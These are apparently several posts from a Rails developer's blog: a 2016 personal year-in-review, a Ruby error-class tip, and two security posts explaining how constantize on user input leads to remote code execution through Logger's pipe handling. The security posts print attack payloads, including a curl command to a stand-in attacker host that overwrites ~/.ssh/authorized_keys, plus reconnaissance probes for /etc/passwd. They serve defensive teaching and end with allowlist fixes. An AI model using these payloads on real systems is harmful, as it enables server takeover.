2016 Year in Review

meta, other

Hi – I’m Gavin Miller and you’ve landed on the 2016 year in review. This is the first year that I’ve decided to write a retrospective style blog post. At the end of 2016 my boss asked me to do one for work and I was astounded to see the things I had accomplished, and the progress that our team had made for the year. To that end, I’m hoping to gain the same perspective on other areas in my life.

Blog / Community

This is the section that’s probably most relevant to readers of this blog. 2016 was a bit less than equal to 2015 for blogging material. In total I wrote 3 blog posts on the topic of ruby/rails security. I find these posts take approximately 10-15 hours of time to do, due to the research, verification, and testing of the posts.

One of the best posts I wrote this year was A Tale of Security Gone Wrong. It received more Internet points than other things I have written. It was a fun post to write and materialized from the presentations I gave for the local yycruby & yycjs groups.

The second big writing accomplishment for the year was releasing the Improve Rails Security in 5 Days email course. I wrote this when I switched from MailChimp for email newsletters to Drip. The purpose of this was to have a solid platform to launch an ebook from — more on that to come.

As I mentioned, I spent the beginning of the year doing a series of security presentations at local meetup groups. This was a lot of fun, and I can certainly see giving other presentations like this again in the future. It was also a real eye-opener. I don’t consider myself to be that knowledgeable when it comes to security (hello imposter syndrome), but these presentations highlighted how cursory many developer’s security knowledge is. I believe there’s many valuable resources that can be written for the intersection of “Secure Programming” and “Language X”.

To that end, I’ve begun to write one of those resources. I’ll keep details pretty sparse for now. This has been an idea on the back burner for some time. I had a bit of momentum on the project at the beginning of 2016, but then summer came and I completely checked out from wanting to do anything on the computer.

My final community accomplishment for 2016 was being a mentor for Chic Geek. I am a big fan of Chic Geek and Kylie who runs the organization. They are doing amazing things in Calgary to promote technology as a viable field for women. My mentee was able to work through some difficult problems over the course of our mentorship, and I grew as a mentor.

Goals

For 2017 I have set the following goals:

  • Finish ebook – this is a matter of putting one foot in front of the other and doing the hard work. I’ve already got a solid topical foundation and a rough sketch of what the book will be. Now I just have to execute on that!
  • 4 substantial blog posts – These spill out naturally when I hit interesting topics in my day job.
  • Mentor with Chic Geek – I had such a great time doing this last year that I want to make sure it happens again this year!

Work

2016 was an exciting year for me at Cisco. One I enjoyed tremendously. I’ve often thought that anyone can become productive in a system very quickly if they’re a good programmer. However, I’ve come to recognize that context takes a long time to build and depending on the nature of the role that is vastly more important to getting things done than sheer effort / skill / ability.

It was around the beginning of the year I actually started to get my footing in my role with enough context to have an impact on my team’s work. It was during this time that I began to refactor the build system for our project and move it onto GoCD. We were hitting occasional errors with builds and they were deeply dependent on institutional knowledge (details in only a few people’s heads) that wasn’t codified. Turn around was about a month on this project to start seeing tangible results in the build system. Eventually our team moved from a once every few days build model to daily builds. It has allow QA to build a regression testing suite into our builds which has saved everyone time and effort. Three cheers for CI/CD pipelines!

I was lucky enough to wiggle into my role at Cisco with limited Linux knowledge. This means that I’ve had to learn the linux domain on the fly, which has been painful at times, because you don’t know what you don’t know. Throughout this year I’ve ended up using a ton of utilities to analyze, diagnose, and fix bugs in our codebase. Just a few of the tools/systems that I’ve learned: grub, lvm, dd, rpm, yum, ldd. In addition to this I’ve also learned a ton about compiling programs from source, and how linking and pathing works for many open source software products. At the beginning of the year, I would have struggled to compile something like Ruby, Python, Erlang, or Perl from source. I’ve now compiled, recompiled, and configured all of those packages multiple times.

One of the other benefits of being at Cisco is being exposed to a boat-ton of smart people. And these people are in vastly different roles than mine. Part of that intersection came when Cisco held an internal CTF competition this year. I picked the lowest point value (easiest) reverse engineering task and made it my mission to solve it. I used stack diagrams, gdb, hopper, ida pro, and other tools all in the effort to find a flag. And success I found the flag!

Goals

  • Blog about non-ruby topics – I’ve accrued a fair amount of knowledge outside of Ruby as it relates to the tools I use daily. I’d like to write at least two blog posts on this experience. Namely: GoCD, and compiling from source.
  • Take a course/training on Reverse Engineering – I enjoyed disassembling code, and using the many tools to interact with source in the CTF competition. I’d like to build those skills more!
  • Complete a full CTF – To dovetail / compliment learning about RE, I’d like to apply those skills in a CTF. There are a few archived CTF’s that I’ve saved that I’ll take the time to go through and solve.
  • Complete a responsible disclosure – This one is a stretch goal. It’s one thing to write about protecting ruby, and it’s a total other thing to actually exploit a live system. Hacker One has an easy and ethical platform to do this from and I’d like to try my hand at it.

Weightlifting

Towards the middle of this year — June — I began to dial in and focus on my weightlifting. I’ve been doing CrossFit for the last 5 or so years, and I was getting frustrated that I wasn’t seeing enough progression on my olympic lifts. I talked to my coach at Most, and she suggested I do a strength cycle, and focus on nutrition. So we did.

I started with a simple program of eating at calorie surplus and tracking macros: Carbs, Fat, and Protein. This was the first time I had ever done a bulk, otherwise I had mostly kept to “eating healthy.” The thing is, if you don’t keep track of what you’re eating, it’s hard to tell wether you’re healthy or not. It became immediately apparent that I wasn’t regularly eating enough to build muscle. The program quickly fixed that! Over the course of 7 months I went from 160lbs to 190lbs — a 30lbs gain. It was very gradual as can be seen from the graph below:

20lbs weight gain over 6 months

As part of my eating, I did two strength cycles. The first one was a month long, and the second one lasted two months. The majority of the strength cycles focused on legs: Deadlift, Front Squat, Back Squat, etc. With some occasional upper body work. And it was also all tempo work. If you’re not familiar with tempo lifts it’s where you slow down the eccentric or concentric portion of a movement (I think typically during eccentric, and then driving strongly during concentric for power generation is the typical tempo setup.)

In that period of time I saw a huge increase in my squats and deadlift. While I saw improvements in clean & jerk and snatch, they weren’t as high as I had hoped. Towards the end of 2016 it felt like I was on the cusp of hitting a breakthrough on technique for both of these lifts. Overall between the end of 2015 to the end of 2016 my numbers looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Year end #s    | 2015 | 2016 |
------------------------------
Snatch         |  115 |  135 |
Squat Clean    |  156 |  200 |
Split Jerk     |  165 |  175 |
Clean & Jerk   |  165 |  175 |
Front Squat    |  177 |  215 |
Back Squat     |  215 |  240 |
Push Press     |  125 |  145 |
Strict Press   |  105 |  115 |
Bench Press    |  153 |  175 |
Deadlift       |  285 |  340 |
Overhead Squat |  119 |  150 |
BS + DL + BP   |  644 |  755 |

Additionally as part of my strength cycle I participated in a mini-powerlifting competition at my gym. It was a great time and I put up my max squat, deadlift, and bench press numbers for 2016. Here’s a picture of the 340lbs deadlift:

Gavin Miller Deadlifting 340lbs

Goals

For 2017 I’ve set the following goals for myself:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
               | 2015 | 2016 | 2017 | diff |
-------------------------------------------|
Snatch         |  115 |  135 |  165 |  +30 |
Squat Clean    |  156 |  200 |  245 |  +45 |
Split Jerk     |  165 |  175 |  200 |  +25 |
Clean & Jerk   |  165 |  175 |  200 |  +25 |
Front Squat    |  177 |  215 |  265 |  +50 |
Back Squat     |  215 |  240 |  315 |  +75 |
Push Press     |  125 |  145 |  165 |  +20 |
Strict Press   |  105 |  115 |  135 |  +20 |
Bench          |  153 |  175 |  225 |  +50 |
Deadlift       |  285 |  340 |  400 |  +60 |
Overhead Squat |  119 |  150 |  185 |  +35 |
BS + DL + BP   |  644 |  755 |  940 | +175 |

My pressing goals are approximately a 20lbs increase. My bench is much lower than it should be and I feel like a few pressing cycles can see a 50lbs increase. I’d also like to do two more leg cycles which I feel would bring increases in front squat, back squat, and deadlift. And finally the olympic lifts benefit from increases in upper body, and lower body strength cycles so hopefully those lifts increase as well!

For bodyweight I’d like to maintain between 180lbs – 190lbs of lean body mass. I’m not sure if I’m ready for more than that … yet wink

A Shorthand Syntax for Defining Errors in Ruby

other, ruby

A common practice that I use in Ruby is defining custom error classes for my own code. There’s no great reason to do it (that I’ve heard) other than providing a more expressive error message than the standard error/exception classes.

Here’s a contrived example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
require 'open3'

class Curl
  # From: https://curl.haxx.se/libcurl/c/libcurl-errors.html
  CURLE_OK = 0
  CURLE_UNSUPPORTED_PROTOCOL = 1
  CURLE_FAILED_INIT = 2
  CURLE_URL_MALFORMAT = 3
  # ... etc ...

  # custom errors
  class CurlUnsupportedProtocolError < StandardError
  end
  class CurlFailedInitError < StandardError
  end
  class CurlURLMalformatError < StandardError
  end
  # ... etc ...

  def initialize(url)
    @url = url
  end

  def execute
    cmd = ['curl', @url]
    out, err, status = Open3.capture3(*cmd)

    case status.exitstatus
    when CURLE_OK
      # Do work
    when CURLE_UNSUPPORTED_PROTOCOL
      raise CurlUnsupportedProtocolError.new('<informative error message>')
    when CURLE_FAILED_INIT
      raise CurlFailedInitError.new('<another informative error message>')
    when CURLE_URL_MALFORMAT
      raise CurlURLMalformatError.new('<many errors, such excite>')
    # ... etc ...
    end
  end
end

puts Curl.new('google.com').execute

Notice that we’re declaring three custom error classes CurlUnsupportedProtocolError, CurlFailedInitError, and CurlURLMalformatError. As you can imagine, if we completed this for all 80 or so CURLE exception codes we’d have a long list of errors.

We could use semi-colons to simplify things:

1
2
3
4
5
6
7
8
9
# That's ugly!
class CurlUnsupportedProtocolError < StandardError; end
class CurlFailedInitError < StandardError; end
class CurlURLMalformatError < StandardError; end

# Better, but still ugly
class CurlUnsupportedProtocolError  < StandardError; end
class CurlFailedInitError           < StandardError; end
class CurlURLMalformatError         < StandardError; end

But I’m not particularly a fan of that syntax. Instead you can use some shorthand syntax from Ruby’s Class definitions. Because even Ruby’s classes are classes! Very Wow! :doge:

1
2
3
4
# Using Class.new from https://ruby-doc.org/core-1.9.3/Class.html#method-c-new
CurlUnsupportedProtocolError = Class.new(StandardError)
CurlFailedInitError          = Class.new(StandardError)
CurlURLMalformatError        = Class.new(StandardError)

The Class.new will create an anonymous class using the value passed in as the superclass. And then we assign it to our constants and viola! We get a new set of error classes.

Since seeing the above error syntax, it’s the one I like to stick with in all of my code because of the readability of it. I’ve never come across any other application of Class.new, although I’m sure there are some if I went looking.

Hope this is something you’ll find useful!

What Makes Logger Susceptible to RCE?

brakeman, rails, ruby, security

The issue is not specifically the use of constantize; it’s to do with trusting user input not to be malicious. In order to make an application secure, you must consider all user input to be potentially malicious. There are plenty of convenient use cases for constantizing code, and security is unlikely to be an issue if there’s no user input involved.

However, I did find this hacking technique interesting/surprising, as I’ve never seen it before:

1
Logger.new("|curl http://attacker.url -o ~/.ssh/authorized_keys")

You can really run arbitrary shell scripts by simply creating an instance of Logger??!! I looked into this, and it’s true. Here’s a full breakdown, for the curious:

Creating a new instance of Logger instantiates a new instance of LogDevice, with the given “filename”:

1
2
3
4
5
6
7
8
9
10
11
def initialize(logdev, shift_age = 0, shift_size = 1048576, level: DEBUG,
                 progname: nil, formatter: nil, datetime_format: nil,
                 shift_period_suffix: '%Y%m%d')
  # ....
  @logdev = nil
  if logdev
    @logdev = LogDevice.new(logdev, :shift_age => shift_age,
      :shift_size => shift_size,
      :shift_period_suffix => shift_period_suffix)
  end
end

The LogDevice initializer calls set_dev with the supplied “filename”:

1
2
3
4
5
def initialize(log = nil, shift_age: nil, shift_size: nil, shift_period_suffix: nil)
  # ...
  set_dev(log)
  # ...
end

Which calls open_logfile:

1
2
3
4
5
6
7
8
def set_dev(log)
  if log.respond_to?(:write) and log.respond_to?(:close)
    @dev = log
  else
    @dev = open_logfile(log)
    # ...
  end
end

Which calls Kernel#open:

1
2
3
4
5
6
7
def open_logfile(filename)
  begin
    open(filename, (File::WRONLY | File::APPEND))
  rescue Errno::ENOENT
    create_logfile(filename)
  end
end

And, looking at the documentation for Kernel#open:

Creates an IO object connected to the given stream, file, or subprocess. If path does not start with a pipe character (|), treat it as the name of a file to open using the specified mode (defaulting to “r”).

[…]

If path starts with a pipe character (“|”), a subprocess is created, connected to the caller by a pair of pipes. The returned IO object may be used to write to the standard input and read from the standard output of this subprocess.

If the command following the pipe is a single minus sign (“|–”), Ruby forks, and this subprocess is connected to the parent. If the command is not “–”, the subprocess runs the command. […]

Wow, that’s definitely a possible attack vendor to be aware of!

The Safest Way to Constantize…

brakeman, rails, ruby, security

This post examines what the safest way to constantize is: which is NEVER. That’s right. If you have the constantize method anywhere within your Rails codebase you are asking for trouble!

This post looks at the most common usage of constantize, how constantize can be exploited, and a safe alternative to using it.

Common Constantize Usage

Basic radio select form for creating alerts

The most common pattern that I’ve seen across many codebases is a form that manages multiple selections (like the one above). Within that form’s controller code constantize is called on a param controlled by the user. Here’s an example:

1
2
3
4
5
6
7
8
9
class AlertsController < ApplicationController
  def create
    params[:alert][:type].constantize.new(params[:alert][:value])  # <-- bad code don't do this!

    # ... other work

    # render page
  end
end

Running brakeman over this code it is going to report a constantize RCE vulnerability like this:

1
2
3
4
5
6
7
8
9
10
11
12
+--------------+-----------------------------------------------------------------------------+
| Confidence   | High                                                                        |
+--------------+-----------------------------------------------------------------------------+
| Class        | AlertsController                                                            |
+--------------+-----------------------------------------------------------------------------+
| Method       | create                                                                      |
+--------------+-----------------------------------------------------------------------------+
| Warning Type | Remote Code Execution                                                       |
+--------------+-----------------------------------------------------------------------------+
| Message      | Unsafe reflection method constantize called with parameter value near       |
|              |   line 7: +params[:alert][:type].constantize.new(params[:alert][:value])>>  |
+--------------+-----------------------------------------------------------------------------+

What confused me when I first encounter this error was the Remote Code Execution warning type. Looking at that code, I found it hard to figure out how an attacker could trigger an exploit.

Pivoting Constantize into an Exploit

Let’s look at how an attacker can turn this into an exploit. There are a couple types of exploits that an attacker could trigger:

  • Reconnaissance
    • Application
    • Server
  • Command Injection (RCE)

The worst item in this list is Command Injection/RCE. In the event that a controller is filtering input and an RCE payload cannot be sent, Application and Server Reconnaissance may still be useful.

Reconnaissance (Application)

The first type of exploit is performing class enumeration to investigate what classes exist within an application.

Below is an example of an unsuccessful class discovery because the server returns a 500 error. The attacker knows that a SocialInsuranceNumber class does not exist.

1
2
3
4
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"SocialInsuranceNumber", "value"=>""}}  # <-- payload
Completed 500 Internal Server Error in 1ms (ActiveRecord: 0.0ms)         # <-- failed

However in this next example, since the server returns a 200 success message, the attacker knows that a CreditCard class exists.

1
2
3
4
5
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"CreditCard", "value"=>""}}  # <-- payload
  Rendered text template (0.0ms)
Completed 200 OK in 8ms (Views: 0.5ms | ActiveRecord: 1.9ms)  # <-- success

Obviously this technique is tedious by hand (less so with a script), and it would take a fair amount of time to enumerate an entire application. This type of exploit provides interesting visibility into the application’s data like Payments, Invoices, Social Insurance Numbers, Credit Cards, etc. and information about 3rd party code used within the app: Devise, Nokogiri, Puma, Stripe, etc. All this information helps an attacker evaluate what attack surfaces exist and whether the application is worth spending time hacking.

Reconnaissance (Server)

The second type of exploit, similar to application reconnaissance is server recon. This method uses a similar tactic by using the File class from the Ruby standard library and passing a filename. If the server returns a 500 error you know the file doesn’t exist:

1
2
3
4
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"File", "value"=>"floop-de-doop"}} # <-- does floop-de-doop exist?
Completed 500 Internal Server Error in 1ms (ActiveRecord: 0.0ms)    # <-- nope

And if you get a 200 you know the file exists:

1
2
3
4
5
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"File", "value"=>"/etc/passwd"}}  # <-- does /etc/passwd exist?
  Rendered text template (0.0ms)
Completed 200 OK in 1ms (Views: 0.4ms | ActiveRecord: 0.0ms)       # <-- success

This type of technique enables an attacker to determine information like what OS your app is running on, what type of database you’re using, or what other services are running on your machine. Again this creates a broader picture of the attack surface available against your app.

Command Injection

And the worst exploit for last: Getting an RCE. It’s actually easy to trigger an RCE in Rails using the Logger class. Here’s an example of getting the server to print the current date to console:

1
2
3
4
5
6
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"Logger", "value"=>"|date"}}  # <-- Injected params
  Rendered text template (0.0ms)
Completed 200 OK in 3ms (Views: 0.7ms | ActiveRecord: 0.0ms)
Sun 25 Sep 2016 21:35:23 MDT                                   # <-- Ooops!

Date isn’t a “bad” command to have run on your server, but what about other parameters that you could inject:

1
2
3
4
5
6
7
8
9
10
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {
    "alert"=>{"type"=>"Logger",
    "value"=>"|curl http://attacker.url -o ~/.ssh/authorized_keys"}}    # <-- Injected params
  Rendered text template (0.0ms)
Completed 200 OK in 6ms (Views: 0.6ms | ActiveRecord: 0.0ms)
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current   # <-- Ouch!
                                 Dload  Upload   Total   Spent    Left  Speed
100   258  100   258    0     0   1280      0 --:--:-- --:--:-- --:--:--  1283

Seeing curl writing progress to your Rails logs with the string ~/.ssh/authorized_keys is not going to make for a good day. An attacker has now gained access to your box via your web server account. Hopefully it’s not running as root goberserk

Safe Alternatives

Having looked at what a constantize vulnerability is and having clearly demonstrated how that vulnerability can be exploited, it’s time to fix that code.

Usually there’s a good reason to have a dynamic form that will use user input to decide on what class to create. The simplest pattern that I’ve used and seen is to use the parameter string and do an array lookup. Here’s an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
class AlertsController < ApplicationController
  def create
    constant = [InfoAlert, WarnAlert, ErrorAlert].find do |alert|
      alert.name == params[:alert][:type]
    end
    raise "Bad hacker!" if constant.nil?  # Fail hard on malicious input

    constant.new(params[:alert][:value])

    # ... other work
    # render page
  end
end

The benefit of the above code is that you’re no longer relying on user input to correctly define the type being instantiated. Instead you define the available types and assert that the user input conforms to those choices, or fail hard!

This method is the safest because it never even uses constantize and instead relies on whitelisting safe input.

Update Sept 28, 2016:

After this post made it’s way among a few sites, Paul Kwiatkowski suggested an alternative pattern to safely avoid constantize which I liked. Here’s his example code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Some file where a constant definition is appropriate.
ALERTS = {
  'info' => InfoAlert,
  'warn' => WarnAlert,
  'error' => ErrorAlert
}

class AlertsController < ApplicationController
  def create
    ALERTS.fetch(params[:alert][:type])).new(params[:alert][:value]))

    # ... other work
    # render page
  end
end

Paul mentions that this method is beneficial because the exception handling is done automatically when a lookup fails on fetch since it raises a KeyError. The other benefit that I saw in his pattern, is that it scales well when the number of options grows large.

Many thanks to Paul and a few others that commented on this post. I truly enjoy receiving feedback from others on how I can improve my code!